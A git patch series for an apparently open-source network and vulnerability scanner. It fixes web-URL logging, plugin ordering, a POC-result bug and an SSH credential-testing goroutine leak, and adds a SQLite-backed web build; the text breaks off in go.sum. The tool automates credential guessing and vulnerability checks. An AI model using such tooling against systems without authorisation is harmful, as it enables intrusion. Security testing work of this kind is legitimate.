From 6d91b544de193ff0030b9c734612ef484caf7b79 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 4 Jun 2026 14:26:20 +0800 Subject: [PATCH 01/29] =?UTF-8?q?=E6=98=BE=E7=A4=BA=20Web=20=E6=9C=8D?= =?UTF-8?q?=E5=8A=A1=E8=AF=86=E5=88=AB=20URL?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/port_scan.go | 32 ++++++++++++++++++++++++++++++-- core/port_scan_test.go | 26 +++++++++++++++++++++++++- 2 files changed, 55 insertions(+), 3 deletions(-) diff --git a/core/port_scan.go b/core/port_scan.go index 1e81722..d015b55 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -420,10 +420,14 @@ func matchFold(a, b string) bool { } // buildServiceLogMessage 构建服务识别的日志信息 -// 格式: addr service [Product:xxx ||Version:xxx] Banner:(xxx) +// 格式: addr-or-url service [Product:xxx ||Version:xxx] Banner:(xxx) func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) string { var msg strings.Builder - fmt.Fprintf(&msg, "%-21s", addr) + displayTarget := addr + if isWeb { + displayTarget = buildWebServiceURL(addr, serviceInfo) + } + fmt.Fprintf(&msg, "%-30s", displayTarget) if serviceInfo.Name != "unknown" { fmt.Fprintf(&msg, " %-8s", serviceInfo.Name) @@ -453,6 +457,30 @@ func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) s return msg.String() } +func buildWebServiceURL(addr string, serviceInfo *ServiceInfo) string { + protocol := "http" + serviceName := "" + if serviceInfo != nil { + serviceName = strings.ToLower(serviceInfo.Name) + } + + if strings.Contains(serviceName, "https") || strings.Contains(serviceName, "ssl") || strings.Contains(serviceName, "tls") { + protocol = "https" + } + + host, port, err := net.SplitHostPort(addr) + if err != nil { + return fmt.Sprintf("%s://%s", protocol, addr) + } + if protocol == "http" && port == "80" { + return fmt.Sprintf("http://%s", host) + } + if protocol == "https" && port == "443" { + return fmt.Sprintf("https://%s", host) + } + return fmt.Sprintf("%s://%s", protocol, net.JoinHostPort(host, port)) +} + // scanSinglePort 扫描单个端口并进行服务识别(重构后的简洁版本) func scanSinglePort(ctx context.Context, host string, port int, addr string, adaptiveTO *AdaptiveTimeout, count *atomic.Int64, collector *resultCollector, failedCollector *failedPortCollector, session *common.ScanSession) { config := session.Config diff --git a/core/port_scan_test.go b/core/port_scan_test.go index e527964..0760338 100644 --- a/core/port_scan_test.go +++ b/core/port_scan_test.go @@ -478,7 +478,31 @@ func TestBuildServiceLogMessage(t *testing.T) { Extras: map[string]string{}, }, isWeb: true, - wantContain: []string{"192.168.1.1:80", "http", "1.1"}, + wantContain: []string{"http://192.168.1.1", "http", "1.1"}, + }, + { + name: "非标准端口HTTP服务显示URL", + addr: "192.168.1.1:8080", + serviceInfo: &ServiceInfo{ + Name: "http", + Version: "1.1", + Banner: "", + Extras: map[string]string{}, + }, + isWeb: true, + wantContain: []string{"http://192.168.1.1:8080", "http", "1.1"}, + }, + { + name: "HTTPS服务显示HTTPS URL", + addr: "192.168.1.1:443", + serviceInfo: &ServiceInfo{ + Name: "https", + Version: "1.1", + Banner: "", + Extras: map[string]string{}, + }, + isWeb: true, + wantContain: []string{"https://192.168.1.1", "https", "1.1"}, }, { name: "带Banner的SSH服务", From ade9cd1bffd3c28917751ef98dbfccaee043c3a0 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 4 Jun 2026 14:41:49 +0800 Subject: [PATCH 02/29] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E9=BB=98=E8=AE=A4?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=20POC=20=E7=BB=93=E6=9E=9C=E7=BC=BA=E5=A4=B1?= =?UTF-8?q?=20#586?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/base_scan_strategy.go | 39 +++++------ core/base_scan_strategy_test.go | 11 ++++ core/port_scan.go | 2 +- webscan/lib/poc_executor.go | 5 +- webscan/lib/poc_executor_test.go | 108 +++++++++++++++++++++++++------ 5 files changed, 125 insertions(+), 40 deletions(-) diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index f78b813..9bf9abc 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -140,6 +140,9 @@ func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, t } func (b *BaseScanStrategy) isPluginApplicableToPort(pluginName string, targetPort int) bool { + if b.isWebPlugin(pluginName) { + return true + } return b.isPluginApplicableToPortWithHost(pluginName, "", targetPort) } @@ -253,32 +256,32 @@ func (b *BaseScanStrategy) getPluginsByFilterType() []string { filteredPlugins = append(filteredPlugins, pluginName) } } - // 确保 webtitle 在 webpoc 之前执行,避免指纹识别竞态 - sort.Slice(filteredPlugins, func(i, j int) bool { - // webtitle 必须在 webpoc 之前 - if filteredPlugins[i] == "webtitle" { - return true - } - if filteredPlugins[j] == "webtitle" { - return false - } - if filteredPlugins[i] == "webpoc" { - return false - } - if filteredPlugins[j] == "webpoc" { - return true - } - // 其他插件保持字母顺序 - return filteredPlugins[i] < filteredPlugins[j] - }) default: // 无过滤器:返回所有插件 filteredPlugins = allPlugins } + orderWebPlugins(filteredPlugins) return filteredPlugins } +func orderWebPlugins(pluginNames []string) { + sort.SliceStable(pluginNames, func(i, j int) bool { + return webPluginOrder(pluginNames[i]) < webPluginOrder(pluginNames[j]) + }) +} + +func webPluginOrder(pluginName string) int { + switch pluginName { + case "webtitle": + return 0 + case "webpoc": + return 2 + default: + return 1 + } +} + // parsePluginList 解析插件列表字符串 func parsePluginList(pluginStr string) []string { if pluginStr == "" { diff --git a/core/base_scan_strategy_test.go b/core/base_scan_strategy_test.go index 1db4ede..b54d110 100644 --- a/core/base_scan_strategy_test.go +++ b/core/base_scan_strategy_test.go @@ -261,6 +261,17 @@ func slicesEqual(a, b []string) bool { return true } +func TestOrderWebPlugins(t *testing.T) { + plugins := []string{"ssh", "webpoc", "redis", "webtitle", "mysql"} + + orderWebPlugins(plugins) + + expected := []string{"webtitle", "ssh", "redis", "mysql", "webpoc"} + if !slicesEqual(plugins, expected) { + t.Fatalf("orderWebPlugins = %#v, want %#v", plugins, expected) + } +} + // TestNewBaseScanStrategy 测试构造函数 func TestNewBaseScanStrategy(t *testing.T) { tests := []struct { diff --git a/core/port_scan.go b/core/port_scan.go index d015b55..0d37153 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -516,7 +516,6 @@ func scanSinglePort(ctx context.Context, host string, port int, addr string, ada // 步骤2:记录开放端口 count.Add(1) - collector.Add(addr) saveOpenPort(session, host, port) // 步骤3:服务识别(Scanner负责关闭连接,包括探测中可能创建的新连接) @@ -535,6 +534,7 @@ func scanSinglePort(ctx context.Context, host string, port int, addr string, ada // 步骤4:处理结果 processServiceResult(ctx, host, port, addr, serviceInfo, config, session) + collector.Add(addr) } // handleConnectionFailure 处理连接失败 diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index de95b35..d55aae6 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -326,7 +326,10 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} success := false if len(p.Rules) > 0 { success = executeRuleSet(p.Rules) - return success, "", nil + if success { + return true, p.Name, nil + } + return false, "", nil } for _, item := range p.Groups { name, rules := item.Key, item.Value diff --git a/webscan/lib/poc_executor_test.go b/webscan/lib/poc_executor_test.go index 8e1f15f..3677e7f 100644 --- a/webscan/lib/poc_executor_test.go +++ b/webscan/lib/poc_executor_test.go @@ -1,8 +1,15 @@ package lib import ( + "context" + "net/http" + "net/http/httptest" "strings" "testing" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/output" ) // ============================================================================= @@ -102,42 +109,103 @@ func TestGetRuleHash(t *testing.T) { } } +func TestCheckMultiPocSavesSimpleRulesPoc(t *testing.T) { + paths := make(chan string, 1) + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + select { + case paths <- r.URL.Path: + default: + } + _, _ = w.Write([]byte("kei-poc-hit")) + })) + defer server.Close() + + cfg := common.NewConfig() + cfg.Output.Silent = true + cfg.Network.WebTimeout = 5 * time.Second + cfg.Network.MaxRedirects = 3 + cfg.POC.Num = 1 + if err := Inithttp(cfg); err != nil { + t.Fatalf("Inithttp: %v", err) + } + + var results []*output.ScanResult + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + session.ResultSink = func(result *output.ScanResult) error { + results = append(results, result) + return nil + } + + req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, server.URL, nil) + if err != nil { + t.Fatalf("NewRequest: %v", err) + } + + poc := &Poc{ + Name: "poc-yaml-kei-repro", + Rules: []Rules{{ + Method: http.MethodGet, + Path: "/kei-poc", + Expression: `response.status == 200 && response.body.bcontains(b"kei-poc-hit")`, + }}, + } + CheckMultiPoc(req, []*Poc{poc}, 1, &POCContext{Session: session}) + + select { + case got := <-paths: + if got != "/kei-poc" { + t.Fatalf("request path = %q, want /kei-poc", got) + } + default: + t.Fatal("POC request was not sent") + } + if len(results) != 1 { + t.Fatalf("saved results = %d, want 1", len(results)) + } + if results[0].Type != output.TypeVuln || results[0].Target != server.URL { + t.Fatalf("saved result = %#v", results[0]) + } + if got := results[0].Details["vulnerability_name"]; got != "poc-yaml-kei-repro" { + t.Fatalf("vulnerability_name = %v, want poc-yaml-kei-repro", got) + } +} + // TestDoSearchSetCookieOptimization 测试 Set-Cookie 提取和清理 func TestDoSearchSetCookieOptimization(t *testing.T) { responseHeaders := "HTTP/1.1 200 OK\r\n" cases := []struct { - name string - regex string - body string - wantContain string // 期望结果包含的内容 + name string + regex string + body string + wantContain string // 期望结果包含的内容 wantNotContain string // 期望结果不包含的内容 }{ { - name: "捕获组名为cookie时清理属性", - regex: `Set-Cookie:(?P.*)`, - body: responseHeaders + "Set-Cookie: sessionid=abc123; Path=/; HttpOnly\r\n\r\n", - wantContain: "sessionid=abc123", + name: "捕获组名为cookie时清理属性", + regex: `Set-Cookie:(?P.*)`, + body: responseHeaders + "Set-Cookie: sessionid=abc123; Path=/; HttpOnly\r\n\r\n", + wantContain: "sessionid=abc123", wantNotContain: "Path", }, { - name: "捕获组名为sessid时也清理属性", - regex: `Set-Cookie:(?P.*)`, - body: responseHeaders + "Set-Cookie: JSESSIONID=xyz789; Path=/app; Secure; HttpOnly\r\n\r\n{}", - wantContain: "JSESSIONID=xyz789", + name: "捕获组名为sessid时也清理属性", + regex: `Set-Cookie:(?P.*)`, + body: responseHeaders + "Set-Cookie: JSESSIONID=xyz789; Path=/app; Secure; HttpOnly\r\n\r\n{}", + wantContain: "JSESSIONID=xyz789", wantNotContain: "Secure", }, { - name: "捕获组名为token时也清理属性", - regex: `Set-Cookie:(?P.*)`, - body: responseHeaders + "Set-Cookie: csrf_token=tok123; Max-Age=3600; SameSite=Strict\r\n\r\nOK", - wantContain: "csrf_token=tok123", + name: "捕获组名为token时也清理属性", + regex: `Set-Cookie:(?P.*)`, + body: responseHeaders + "Set-Cookie: csrf_token=tok123; Max-Age=3600; SameSite=Strict\r\n\r\nOK", + wantContain: "csrf_token=tok123", wantNotContain: "Max-Age", }, { - name: "非Set-Cookie的正则不触发清理", - regex: `X-Custom:(?P.*)`, - body: responseHeaders + "X-Custom: some-value; extra=stuff\r\n\r\ndone", - wantContain: "some-value; extra=stuff", + name: "非Set-Cookie的正则不触发清理", + regex: `X-Custom:(?P.*)`, + body: responseHeaders + "X-Custom: some-value; extra=stuff\r\n\r\ndone", + wantContain: "some-value; extra=stuff", }, } From d0295dcb92331bff8bf3beac7b20b91b4a190f0f Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 12 Jun 2026 03:58:43 +0800 Subject: [PATCH 03/29] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=20SSH=20?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=20goroutine=20=E6=B3=84=E6=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ssh.NewClientConn 不接受 context,context 取消后底层 TCP 连接未关闭, 导致 readLoop goroutine 永久阻塞在 conn.Read 上。大规模扫描时泄漏数万 goroutine。 - doSSHAuth 新增 goroutine 监听 context 取消并关闭底层连接 - TestSingleCredential 移除 5 秒超时放弃逻辑,改为持续等待清理 --- plugins/services/credential_tester.go | 16 +++++----------- plugins/services/ssh.go | 18 ++++++++++++++++++ 2 files changed, 23 insertions(+), 11 deletions(-) diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index 8fb2ca4..8066aac 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -79,18 +79,12 @@ func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) case result := <-resultChan: return result case <-ctx.Done(): - // context 被取消,但 authFn goroutine 可能还阻塞在第三方库 IO 上 - // 限时等待:超过 5 秒直接放弃,避免 goroutine 无限泄漏 + // context 被取消,等待 authFn goroutine 返回并清理连接 + // 各插件的 authFn 应在 context 取消时关闭底层连接使 goroutine 快速退出 go func() { - timer := time.NewTimer(5 * time.Second) - defer timer.Stop() - select { - case result := <-resultChan: - if result != nil && result.Conn != nil { - _ = result.Conn.Close() - } - case <-timer.C: - // 第三方库不响应取消,放弃等待 + result := <-resultChan + if result != nil && result.Conn != nil { + _ = result.Conn.Close() } }() return &AuthResult{ diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index cc2f81e..43468ec 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -122,10 +122,28 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C } } + // 监听 context 取消,强制关闭底层连接以中断 SSH 握手和 readLoop + done := make(chan struct{}) + defer close(done) + go func() { + select { + case <-ctx.Done(): + _ = conn.Close() + case <-done: + } + }() + // 在TCP连接上创建SSH客户端 sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig) if err != nil { _ = conn.Close() + if ctx.Err() != nil { + return &AuthResult{ + Success: false, + ErrorType: ErrorTypeNetwork, + Error: ctx.Err(), + } + } return &AuthResult{ Success: false, ErrorType: classifySSHErrorType(err), From e0468ecd35e8c4561cfab6a5ae1d902258fd0613 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 12 Jun 2026 05:17:26 +0800 Subject: [PATCH 04/29] =?UTF-8?q?feat:=20Web=20=E7=89=88=E7=8B=AC=E7=AB=8B?= =?UTF-8?q?=E5=85=A5=E5=8F=A3=20+=20SQLite=20=E6=8C=81=E4=B9=85=E5=8C=96?= =?UTF-8?q?=E5=AD=98=E5=82=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 拆分 main.go 为 main_cli.go 和 main_web.go,Web 版不再包含 CLI 参数解析 - Web 版直接启动 HTTP 服务,通过 -port/-lang 控制,无需 -web flag - 结果存储从内存 map 替换为 SQLite(modernc.org/sqlite,纯 Go 零 CGO) - 数据库文件 ~/.fscan/results.db,进程重启后结果不丢失 - 修复结果分布面板跟随 tab 筛选联动的问题 --- Makefile | 2 +- common/flag_web.go | 19 +- go.mod | 13 +- go.sum | 51 +++- main.go => main_cli.go | 12 +- main_web.go | 33 +++ web-ui/package-lock.json | 29 ++- web-ui/package.json | 1 + web-ui/src/pages/ResultsPage.tsx | 4 +- web/api/result.go | 224 ++++++++++++------ .../{index-DR5QRXeN.js => index-5JoZok-U.js} | 26 +- web/dist/index.html | 2 +- 12 files changed, 285 insertions(+), 131 deletions(-) rename main.go => main_cli.go (88%) create mode 100644 main_web.go rename web/dist/assets/{index-DR5QRXeN.js => index-5JoZok-U.js} (93%) diff --git a/Makefile b/Makefile index 73b2307..db0512e 100644 --- a/Makefile +++ b/Makefile @@ -64,7 +64,7 @@ build-web: build-ui @echo "$(BLUE)构建Web版本...$(NC)" $(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web . @echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)" - @echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web -web 启动Web界面$(NC)" + @echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)" ## build-ui: 构建前端(需要Node.js和npm) build-ui: diff --git a/common/flag_web.go b/common/flag_web.go index 9d6a647..813910e 100644 --- a/common/flag_web.go +++ b/common/flag_web.go @@ -2,19 +2,8 @@ package common -import ( - "flag" +// WebMode Web版本始终为true +const WebMode = true - "github.com/shadow1ng/fscan/common/i18n" -) - -// WebMode 表示是否启动Web管理界面 -var WebMode bool - -// WebPort Web服务器端口 -var WebPort int - -func init() { - flag.BoolVar(&WebMode, "web", false, i18n.GetText("flag_web_mode")) - flag.IntVar(&WebPort, "webport", 10240, i18n.GetText("flag_web_port")) -} +// WebPort 不再使用,端口由 main_web.go 的 -port 参数控制 +var WebPort = 0 diff --git a/go.mod b/go.mod index 614d15e..3316517 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,6 @@ module github.com/shadow1ng/fscan -go 1.20 +go 1.25.0 require ( github.com/fatih/color v1.18.0 @@ -24,13 +24,14 @@ require ( go.ciq.dev/go-rsync v0.0.0-20240304021629-0a3bb196e6d1 golang.org/x/crypto v0.31.0 golang.org/x/net v0.32.0 - golang.org/x/sys v0.28.0 + golang.org/x/sys v0.42.0 golang.org/x/term v0.27.0 golang.org/x/text v0.21.0 google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c google.golang.org/protobuf v1.28.1 gopkg.in/yaml.v2 v2.4.0 gopkg.in/yaml.v3 v3.0.1 + modernc.org/sqlite v1.52.0 ) require ( @@ -38,6 +39,7 @@ require ( github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect + github.com/dustin/go-humanize v1.0.1 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect github.com/hashicorp/errwrap v1.0.0 // indirect @@ -53,9 +55,14 @@ require ( github.com/kr/pretty v0.3.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect + github.com/ncruces/go-strftime v1.0.0 // indirect github.com/pkg/errors v0.9.1 // indirect + github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/rogpeppe/go-internal v1.12.0 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect - golang.org/x/sync v0.11.0 // indirect + golang.org/x/sync v0.20.0 // indirect gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect + modernc.org/libc v1.72.3 // indirect + modernc.org/mathutil v1.7.1 // indirect + modernc.org/memory v1.11.0 // indirect ) diff --git a/go.sum b/go.sum index acbe998..b57fec2 100644 --- a/go.sum +++ b/go.sum @@ -5,6 +5,7 @@ github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+ github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/toml v1.3.2 h1:o7IhLm0Msx3BaB+n3Ag7L8EVlByGnpq14C4YWiu/gL8= +github.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves= @@ -16,6 +17,8 @@ github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ3 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= @@ -50,6 +53,8 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs= +github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ= @@ -65,6 +70,8 @@ github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9 github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= +github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/hirochachacha/go-smb2 v1.1.0 h1:b6hs9qKIql9eVXAiN0M2wSFY5xnhbHAQoCwRKbaRTZI= github.com/hirochachacha/go-smb2 v1.1.0/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= @@ -108,6 +115,8 @@ github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWE github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed h1:FI2NIv6fpef6BQl2u3IZX/Cj20tfypRF4yd+uaHOMtI= github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed/go.mod h1:3rdaFaCv4AyBgu5ALFM0+tSuHrBh6v692nyQe3ikrq0= +github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w= +github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= github.com/nicksnyder/go-i18n/v2 v2.4.0 h1:3IcvPOAvnCKwNm0TB0dLDTuawWEj+ax/RERNC+diLMM= github.com/nicksnyder/go-i18n/v2 v2.4.0/go.mod h1:nxYSZE9M0bf3Y70gPQjN9ha7XNHX7gMc814+6wVyEI4= github.com/panjf2000/ants/v2 v2.11.3 h1:AfI0ngBoXJmYOpDh9m516vjqoUu2sLrIVgppI9TZVpg= @@ -117,6 +126,8 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= @@ -133,6 +144,7 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/tjfoc/gmsm v1.4.1 h1:aMe1GlZb+0bLjn+cKTPEvvn9oUEBlJitaZiiBwsbgho= github.com/tjfoc/gmsm v1.4.1/go.mod h1:j4INPkHWMrhJb38G+J6W4Tw0AbuN8Thu3PbdVYhVcTE= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= @@ -159,6 +171,8 @@ golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.33.0 h1:tHFzIWbBifEmbwtGz65eaWyGiGZatSrT9prnU8DbVL8= +golang.org/x/mod v0.33.0/go.mod h1:swjeQEj+6r7fODbD2cqrnje9PnziFuw4bmLbBZFrQ5w= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -187,8 +201,8 @@ golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sync 